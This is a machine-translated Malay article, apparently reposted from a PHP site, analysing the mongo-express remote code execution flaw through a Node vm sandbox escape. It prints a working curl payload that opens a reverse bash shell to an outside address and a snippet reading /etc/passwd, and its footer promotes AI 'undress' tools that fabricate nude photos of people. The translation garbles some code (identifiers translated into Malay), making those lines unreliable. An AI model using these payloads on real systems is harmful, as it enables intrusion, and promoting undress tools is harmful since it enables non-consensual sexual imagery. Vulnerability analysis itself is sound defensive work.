Analisis kes kelemahan pelaksanaan kod jauh
0x01 Kenali mongo-express<br>
mongo-express ialah antara muka pengurusan Web Pentadbir MongoDB, ditulis menggunakan NodeJS, Express dan Bootstrap3. Pada masa ini, mongo-express sepatutnya menjadi antara muka pengurusan pentadbir MongoDB dengan paling banyak bintang di Github. Mudah digunakan dan mudah digunakan, ia telah menjadi pilihan ramai orang untuk menguruskan mongo.
0x02 Sediakan persekitaran penyahpepijatan <br>
0x1 Mulakan perkhidmatan docker <br>
Membaca buletin keselamatan GitHub rasmi , kami mendapati Kerentanan menjejaskan semua versi di bawah 0.54.0. Kami memilih 0.49 sebagai contoh untuk ujian Memandangkan persekitaran kerentanan ini juga memerlukan pangkalan data MongoDB, kami boleh membinanya dengan cepat dengan melaksanakan arahan docker berikut:
Bina pangkalan data MongoDB<br>
docker run --name test -d mongo:3.2
Bina mongo-express yang mengandungi kerentanan dan sambungkan ke pangkalan data MongoDB di atas: <br>
docker run -d -p 8081:8081 --link test:mongo mongo-express:0.49
Semak log untuk mengesahkan bahawa sambungan adalah berjaya.
0x2 Hidupkan pilihan penyahpepijatan nodejs <br>
Helah diperlukan di sini Jika anda ingin menyahpepijat nodej, anda perlu menambah -. -periksa parameter apabila bermula. Buat pengubahsuaian berikut pada skrip permulaan docker
docker restart 183
Guna docker exec -it 183 bash untuk menyambung ke docker untuk menyemak sama ada perkhidmatan nyahpepijat dihidupkan
Buka sahaja port 9229 seperti yang ditunjukkan dalam gambar di atas. Selagi hos luaran boleh menyambung ke port 9229, anda boleh menggunakan pemalam krom untuk nyahpepijat Anda boleh menggunakan frp untuk memajukan port, atau menggunakan parameter docker -p 9229:9229 untuk pemprosesan.
0x3 Chrome DevTools<br>
Menggunakan pemalam chrome, anda boleh nyahpepijat nodej seperti menyahpepijat skrip javascript, dan ia juga sangat mudah untuk dikendalikan.
Muat turun pemalam nyahpepijat dahulu
Buka about:inspect in chrome devtools telah menyokong penyahpepijatan Nodejs pada Mei 2016, klik Buka DevTools khusus untuk Nod
Konfigurasikan alamat sambungan dan port
Langkah seterusnya adalah seperti menyahpepijat js
Hantar paket ujian, cawangan penghalaan boleh diputuskan sambungan, dan kemudian mula menyahpepijat kelemahan ini.
<br>
curl http://127.0.0.1:8081/checkValid -d 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync(" bash -i >& /dev/tcp/192.168.43.176/8003 0>&1 2>&1")'
0x03 Penyahpepijatan kerentanan dan analisis prinsip
rentetan ialah parameter toBSON BSON ialah format data biasa dalam MongoDB dan merupakan saudara terdekat JSON. tetapi Terdapat banyak perbezaan daripada format data JSON Walau bagaimanapun, semua operasi berkaitan BSON dalam mongo-express, seperti mencipta dokumen baharu (serupa dengan operasi sisipan dalam pangkalan data lain), perlu melalui fungsi toBSON().
Apabila aliran kod mencapai bson.toBSON, fungsi eval akan dicetuskan kerana nodejs boleh digunakan sebagai a bahasa back-end, fungsi eval berjalan pada bahagian pelayan boleh menyebabkan suntikan arahan dan membahayakan sistem.
<br>
<br>
<br>
exports.toBSON = fungsi (rentetan) { var kotak pasir = exports.getSandbox(); string = string.replace(/ISODate(/g, 'new ISODate('); string = string.replace(/Binary(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),'); vm.runInNewContext('doc = eval((' + string + '));', kotak pasir); return sandbox.doc;};
Menurut analisis sumber kod, rentetan parameter toBSON ialah dokumen dalam req.body, jadi kami boleh mengawal bahagian ini. Anda boleh menemui fungsi vm.runInNewContext, iaitu kotak pasir maya. Oleh itu, kami akan menganalisis cara memintas perlindungan kotak pasir dalam bahagian seterusnya.
Pintas kotak pasir 0x04 nodejs <br>
Kotak pasir ialah persekitaran bebas yang boleh melaksanakan kod tidak dipercayai dengan selamat tanpa menjejaskan kod luaran sebenar. Pelaksanaan kod selalunya dihadkan dalam kotak pasir. Modul VM menyediakan API untuk menyusun dan menjalankan kod dalam konteks mesin maya VM. Gunakan modul VM untuk menjalankan kod dalam persekitaran kotak pasir. Kod berjalan menggunakan konteks V8 yang berbeza, iaitu pembolehubah globalnya berbeza daripada kod lain. Tetapi kod dalam kotak pasir masih boleh mengakses proses Node. Kami sering menggunakan kaedah ini untuk memintas.
Fenomena 0x1<br>
vm.js
<br>
<br>
"use strict";const vm = require("vm");const xyz = vm.runInNewContext(` this.constructor.constructor('return this.process.env')()`);console.log(xyz);
Anda boleh lihat this.process.env Maklumat proses nodejs diperoleh, yang menunjukkan bahawa adalah mungkin untuk beralih kembali ke program utama untuk melaksanakan arahan sistem.
Penjelasan 0x2 <br>
Dalam javascript ini menunjuk ke objek yang dimilikinya, jadi apabila kita menggunakannya, ia sudah menunjuk ke objek di luar konteks VM. Kemudian .constructor yang mengakses ini mengembalikan Object Constructor, dan .constructor yang mengakses Object Constructor mengembalikan Function constructor. Pembina fungsi adalah seperti fungsi tertinggi dalam javascript yang membolehkan akses global. Pembina Fungsi membenarkan penjanaan fungsi daripada rentetan, dengan itu melaksanakan kod sewenang-wenangnya. Jadi kita boleh menggunakannya untuk kembali ke proses utama. Kami kemudiannya boleh menggunakannya untuk mengakses proses utama dan melaksanakan RCE.
<br>
<br>
"use strict";const vm = require("vm");const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')(); process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()`);console.log(xyz);
Begitu juga, fungsi vm2 juga boleh dipintas , Mari kaji dengan merujuk kepada teks asal https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html
tampung kerentanan 0x05<br>
Berikut ialah dua gambar untuk menggambarkan segala-galanya Gunakan mongo-query-parser untuk menghuraikan data BSON dan menggantikannya terus daripada sumber.
Atas ialah kandungan terperinci Analisis kes kelemahan pelaksanaan kod jauh. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

Video Face Swap
Tukar muka dalam mana-mana video dengan mudah menggunakan alat tukar muka AI percuma kami!

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)
